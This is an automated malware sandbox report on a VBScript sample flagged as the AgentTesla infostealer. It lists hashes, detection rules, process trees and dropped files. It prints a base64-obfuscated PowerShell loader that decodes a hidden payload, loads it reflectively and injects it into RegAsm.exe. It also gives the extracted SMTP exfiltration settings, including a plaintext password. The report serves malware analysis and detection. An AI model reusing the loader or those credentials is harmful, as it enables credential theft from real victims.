Analysis
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max time kernel
143s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
30-04-2024 01:32
Static task
static1
Behavioral task
behavioral1
Sample
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs
Resource
win10v2004-20240226-en
General
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Target
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs
-
Size
296KB
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MD5
b6c156a6ddcc914249b7316bd49401e9
-
SHA1
16feeb332df9a7d664a548cfcf2c5ae79878ae08
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SHA256
80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9
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SHA512
dd6e13dce798e1820403cb2922c7d69894cd44d064dca32c8876165df34eebd3331b72e1f3b0bbd83585d9b9830ecfe7f06fd1daca8f9ecf38f59c31e69028bb
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SSDEEP
6144:2c7tvCwj2O9lT+TIvZCoJZP2xwrpuHeAFUhhmPhLkJRY:vKwRwkImzs/Mh2gJ6
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
proglass.com.sg - Port:
587 - Username:
[email protected] - Password:
BillionPay$ - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 28 api.ipify.org 29 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4392 set thread context of 4624 4392 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepid process 2324 powershell.exe 2324 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 2324 powershell.exe Token: SeDebugPrivilege 4392 powershell.exe Token: SeDebugPrivilege 4624 RegAsm.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 4624 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.execmd.exepowershell.exedescription pid process target process PID 1432 wrote to memory of 4676 1432 WScript.exe cmd.exe PID 1432 wrote to memory of 4676 1432 WScript.exe cmd.exe PID 4676 wrote to memory of 2324 4676 cmd.exe powershell.exe PID 4676 wrote to memory of 2324 4676 cmd.exe powershell.exe PID 4676 wrote to memory of 2324 4676 cmd.exe powershell.exe PID 4676 wrote to memory of 4392 4676 cmd.exe powershell.exe PID 4676 wrote to memory of 4392 4676 cmd.exe powershell.exe PID 4676 wrote to memory of 4392 4676 cmd.exe powershell.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe PID 4392 wrote to memory of 4624 4392 powershell.exe RegAsm.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Jykpxb.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIkp5a3B4Yi5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Jykpxb.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Jykpxb.ps1"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD501897551bfa61b37095db3abb66cd601
SHA13bc2c57498dc0a1ef6771a94b2f57397d942bc83
SHA2561f30797357ea812d1e5ee5a90ebca8a7a9c0f1d01d1053cce64d32251366f9f5
SHA512406c981b029d7fb5b43d2c2367737bea7bcbe024ebad926f7ea31cd2dfd0c545dbea0397979626cb5ec680c6a46e42f4a6bf6f836604ccc5277a5e65107f0d14
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x1mixney.ldc.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\Jykpxb.batFilesize
276KB
MD52c111f46d26f1352673ae6dc86a990fe
SHA1a523fdff3ae3672b0f815c8af3ef0b3982b841d6
SHA2565f175835c666dba497ed962c90679fc4c61b84a021f68ebb900a0d5d5b660d32
SHA5126c4ff1a335d5b8671da3e3cc178bb5ae345e45c262617a58087e36260a346fb8ee699d9db057336ea412e11e2288e9ace76c741ee5c6fc18fb91e0206e51c7ff
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C:\Users\Admin\Jykpxb.ps1Filesize
2KB
MD5f90fbcb070697feb9fcffa1102bf5c9a
SHA126406dbe3e8f343b13dae2a44193e0918f99e65a
SHA2563ddf16f60017414eb9b0ce45e8688b266c735902003e28814147a017a94f1bce
SHA51223840709dd4908bbff1ccc7d718a5f7cd3ab1a70296f8a99d8ece9e7c8fe7c0a51eaa3a2905e1f4daa70fbbf5285185b4e3a1432191544f02b9270dd76079579
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memory/2324-26-0x0000000007E60000-0x00000000084DA000-memory.dmpFilesize
6.5MB
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memory/2324-5-0x0000000074F60000-0x0000000075710000-memory.dmpFilesize
7.7MB
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memory/2324-11-0x00000000057F0000-0x0000000005856000-memory.dmpFilesize
408KB
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memory/2324-12-0x0000000005860000-0x00000000058C6000-memory.dmpFilesize
408KB
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memory/2324-9-0x00000000058F0000-0x0000000005F18000-memory.dmpFilesize
6.2MB
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memory/2324-22-0x00000000061E0000-0x0000000006534000-memory.dmpFilesize
3.3MB
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memory/2324-23-0x00000000065A0000-0x00000000065BE000-memory.dmpFilesize
120KB
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memory/2324-24-0x00000000067B0000-0x00000000067FC000-memory.dmpFilesize
304KB
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memory/2324-25-0x00000000052B0000-0x00000000052C0000-memory.dmpFilesize
64KB
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memory/2324-8-0x00000000052B0000-0x00000000052C0000-memory.dmpFilesize
64KB
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memory/2324-27-0x0000000007610000-0x000000000762A000-memory.dmpFilesize
104KB
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memory/2324-31-0x0000000074F60000-0x0000000075710000-memory.dmpFilesize
7.7MB
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memory/2324-7-0x0000000005170000-0x00000000051A6000-memory.dmpFilesize
216KB
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memory/2324-10-0x0000000005750000-0x0000000005772000-memory.dmpFilesize
136KB
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memory/2324-6-0x00000000052B0000-0x00000000052C0000-memory.dmpFilesize
64KB
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memory/4392-33-0x00000000055B0000-0x0000000005904000-memory.dmpFilesize
3.3MB
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memory/4392-45-0x0000000006E40000-0x0000000006ED6000-memory.dmpFilesize
600KB
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memory/4392-46-0x0000000006080000-0x00000000060A2000-memory.dmpFilesize
136KB
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memory/4392-47-0x0000000007490000-0x0000000007A34000-memory.dmpFilesize
5.6MB
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memory/4392-48-0x0000000006EE0000-0x0000000006F5E000-memory.dmpFilesize
504KB
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memory/4392-49-0x0000000005920000-0x000000000592A000-memory.dmpFilesize
40KB
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memory/4624-50-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
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memory/4624-52-0x00000000063B0000-0x0000000006400000-memory.dmpFilesize
320KB
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memory/4624-53-0x00000000064A0000-0x0000000006532000-memory.dmpFilesize
584KB
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memory/4624-54-0x0000000006630000-0x000000000663A000-memory.dmpFilesize
40KB